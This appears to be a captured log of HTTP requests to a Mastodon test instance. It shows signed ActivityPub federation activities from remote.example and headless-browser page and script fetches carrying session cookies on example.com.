ype=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 2477", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=/q8FAaFiXN1cuGzVnyHrnDkVdldSSU9lJ4orMezigrQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FjjoCJzOaValkcupFFH5eD2gcwt5A4gGqhHHLLHcDlpKfgSXJDHayo3pMND50yZ9tLwYeqbpo9pU0ikG9tIOuzJYsPnvOIhZyrU7rU/CYGuSJLQIvqWOIVMZGlFj4uNfDqpUYn1pY7zG86zrNu2Ms8dh1Tces3D6BWJbgzkdNS0qzhF7EYuXkYJtkjhooxWSUHnM5on0CN9elFQCfJz8LEeKhSeB6c8QPykJZDXT0R/PAncDb1DFEugEaovQLVv8Ny7LWXpp895rxiqI0WNRjh/X51ac4OhTlFEXKzFbOebacxVyfSS1rad1MlKrRa7UVYIFk75LbaiNWjJeBT/CRg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/201/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Note\",\"summary\":\"powershell spoilers\",\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/201\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"sensitive\":true,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 248", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=mMPSmg5ZMTfAn8dQ5SHTuTWfI5jT8rrcRS9lgqXlWBo=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FF5EJfOU/KqOBV6kQl0PmFDu7wkXlUULY1/40YWxsqGeagFwdXg9S8JfvwgD6ri7b5hF9z9F8f7Z3SpbSc4C/2cw1h5H7GxQ7DktFpfXlL5e4By/gBmvhinwtDF6/kHncm0nELXnj+nLz4gvUaS+V7nnHxAND7fFak0k8oSY8VcrAUB5beh7Ij+XcPQ1rt8Fe5Se0Y38KRtkudBvVaJ3cUYwCPf6LbhVstU6WbAAQmQ2Eez4CxhWcsasfzMce8k+S1svQWJPGwGvZZ988DJvDq5OzjKHSjcOcSo3yTfyNfm6ITI6KNq30TBpNXM7e8fWPWhcmvH4KbrhcE2USQo/lw==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 459", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=OnoUo4Qu2UAckLg2DWv5TmHWKSLMPCrLvaX88WquhGs=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"RRKSTtNO+B38hAT4gIyPNFuY09zTXU/DGC49vGscTEEvFE6r5Iaz7F8CKieR16g6PPqkKI1/BZnGndc90tB3DF6WxHrpaE4TUEFtkKhzEmu+ZDbu23SmG6leTo8OOFvxqJt0eoxkud0lzbi6mh1LzE1M6TVSo5VRCQkWEYBCM/SveAvmvtGDgv+suRzuJ2fnB5YwLRKz7w32D2QG7VQ/L1EP2OC4L71vku/LwlUGIVrm8lisXvQxZbuYD67l280dPEGfj6fUQQaEVV4/DNCk6MeHpIknMYO9E+oQCekt94T636k9bkmKuQ2paaQoBPbJoiSwGWI/pgiAxYQDNnvRfg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice/statuses/202/activity\",\"type\":\"Announce\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:05:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://example.com/ap/users/117589326485981102\",\"https://remote.example/users/alice/followers\"],\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2276", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=90gQrD5AqsmlBfwRpUqy68148ZcAp87EM2+PvJ+A5gM=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Nz9PbH9Uvh8WH49MM0eGkQrdWqjsKtd7P+KoGDG8LarQBHdfXV6WZHIiUuJ5Mrq6oLhaWNqcfE6e+j3C1cpAdIRDqmauecsTQ60lbzNBegh6EUJ0qRdroVygJ4P/nOsbM03CMUza5RIipfME+REwDm+N69MFHi50S3nu6OFuFpvHxpCRm2cN7gWus4zmy1Sn2th76dklf0hf1984dk741K5pj/4CXBsieTx7HAMDYZqzzU8P7+hzommj8ScF52iWCPP3pRsilRE7SxD8XSstCukNeo2PTrp7F3a3cgPjFBjeYuQBe3vi0bcFdk1bSbtXg5Er6i9DnLGC5o8DY6eyJg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/1\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice python3\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"}}}"}
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 373", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=UgQfHBUUDM89PRrl0gj8GsurcmRjPEB5+9r/l9vo3vQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"KMdRd+Opvw3d5VhupOzufUkMwzjKv7qwpjgtRmQG+3MZBxYvbRFD4p9Gla7dgZV+SPib45PKM/EFFySMW+DeXRtKrRRWnLgKuPrhnOgyTNERedyM1OyVg0+qeBHqiglhsyQhqMuBmOSbTRkTj7hWSE7n0DPHE3T0f0F32QBcZbqZP9gpokx263q0685NeSgG3mP/nSmzdGmj36Qm98VOF9Dy9Mi2qc69ir8iuK1hZ4FyV3dMSUIzz0MhMLckJovT5qia3krZpUcwCCHAp7CTYkceCTCcKGUHrOyXGd8Fag7+64cxbJfyRs4XmsqO46YO1U3PeEorEXtxsB2Hn24+eg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1/undo\",\"type\":\"Undo\",\"actor\":\"https://remote.example/users/alice\",\"object\":{\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 381", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=HzeBjo3QT/HbRja3P31DXyJbj0QTXdYK0QtcfF0hD0g=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"DujtT4MF2ggyz2sf+yG9xyQ462fMjrpAPuAhXFSSaF4TxvRSoRtffum+CiFkfStr3+Sh916tsmbpTs46abABbxho4yr0kbq8a3MA/8hDYHvn1nd2NGCQPS0k8Z45FyMfCjFU8leKVPodsYf7A6EGnWDXlMbzXVNMOdk87ac005cVRDPMVgTrlWlhx/yUK3jq0ou6qQ863aoVFi6SgL9HUZ5cLLhd1fdHuh5KtnfljQQRoKANkYaw2B+yWq9TQRCjzejykN1NFP/El24kTBY0OBYeA8XahF0fxtZ7tBrLQWOFoz86Jq53ThZ5V+/j0xwEVtBKctpgFTy2DVLqM+Ipog==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\",{\"ostatus\":\"http://ostatus.org#\"}],\"id\":\"https://remote.example/users/alice/statuses/201#delete\",\"type\":\"Delete\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Tombstone\"}}"}
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=i720m4UFRf86zskblaDOUW1rQERQTPJYkE92b%2BBB%2Ft%2B9DS0LTl%2BmXDsFh%2Fumfk5n%2FScHlJ0N5w0R0CrNv0bj9lSbZ%2BHLUP6zL%2FXpQTBEWE%2BjpgQsd8rfGa8NlxQG7K%2BFjYpkT89deMWIe8h%2BPx%2Bi3Z4IjxZPbc1r9jCOI0bX8A7GMvNMMictfobxlNFIGwaUKpP49WyLhch1SX9JPrm2SOARPMqKSqMcjjmsDuVPjitlDOZbgQCKWCqyj2uhUqS1YrA6oFgzEOzdwRQ4QWIRBo0fkeL3sPwRMQ%3D%3D--3RO7P3SwebpcHVO9--vIbr1ajbFDY%2FgdulCJy1lA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/react-router-BkmJBoOP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/poll-DVpd4t8I.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/index.module-y4HS80Z2.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzcuNTE3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3e7c54b28369188badc6f8f5bfa586770bb7e8a7; _mastodon_session=XG1JBX9t9GQ%2FXvhB00Fxs6T4bV20mNlRFWssv4JmGJgIMso%2F2Y8oTL25pkcKiLbmNA0sBcJIWoJVCVP53UwVofCfP1H5kH336QYqo7EEThCFKa6XtpSta7lbSpjEpZYK3z2O%2BKpmTT%2BpxhC1KtvMrN3JwHovOJ3Wv3qkz2GnVuOi8%2BdPSvOmRTqJVNS9VS6OBe1kriv3wkBehd9%2FaMupwZmG2hjKTmjSQ4utuDreCaYxz9nX6%2FYq%2FdMpEMEPV6lMwrJxqMez3UJiU8L4r%2BOXMYLj%2B48bHhGamERy4HnE66R2%2FES10SxAjGBzzVSS%2BUjfASQfBzsrMb814nMiS3vgzuWrRKXGoO7GdFTmJuk5741%2FrUqzDxwlVKkwlAq3jH4WzSAroOrsI02a--BRX%2BwQfrnNolRoFW--lN7N80Wre%2F4BfT6emfcRaw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/initial_state-DnZ5UeDQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/privacy", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
